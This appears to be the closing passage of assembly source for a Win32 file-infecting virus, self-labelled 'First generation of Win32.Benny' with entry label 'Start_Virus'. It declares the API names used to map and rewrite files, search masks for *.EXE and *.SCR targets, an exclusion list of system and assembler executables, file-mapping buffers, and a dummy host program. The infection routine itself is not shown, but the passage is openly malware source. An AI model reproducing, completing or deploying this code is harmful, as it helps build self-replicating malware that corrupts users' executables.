vszMapViewOfFile db 'MapViewOfFile', 0
|
|
vszUnmapViewOfFile db 'UnmapViewOfFile', 0
|
|
vszSetFilePointer db 'SetFilePointer', 0
|
|
vszSetEndOfFile db 'SetEndOfFile', 0
|
|
vszSetFileTime db 'SetFileTime', 0
|
|
vszGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0
|
|
vszGetSystemDirectoryA db 'GetSystemDirectoryA', 0
|
|
vszGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0, 0
|
|
|
|
vszExe db '*.EXE', 0
|
|
vszScr db '*.SCR', 0
|
|
vszNamez db 'NTVDM.EXE', 0
|
|
db 'RUNDLL32.EXE', 0
|
|
db 'TD32.EXE', 0
|
|
db 'TLINK32.EXE', 0
|
|
db 'TASM32.EXE', 0
|
|
|
|
PathName db 256 dup (?)
|
|
WindowsPath db 256 dup (?)
|
|
Win32_Find_Data WIN32_FIND_DATA ?
|
|
SearchHandle dd ?
|
|
hFile dd ?
|
|
hMapFile dd ?
|
|
lpFile dd ?
|
|
|
|
Virtual_End:
|
|
_GetModuleHandleA dd offset GetModuleHandleA
|
|
|
|
|
|
host: push 1000h
|
|
push offset Msg
|
|
push offset Msg
|
|
push 0
|
|
call MessageBoxA
|
|
exit_h: push 0
|
|
call ExitProcess
|
|
|
|
Msg db 'First generation of Win32.Benny', 0
|
|
|
|
ends
|
|
End Start_Virus
|
|
|
|
|
|
|
|
|
|
|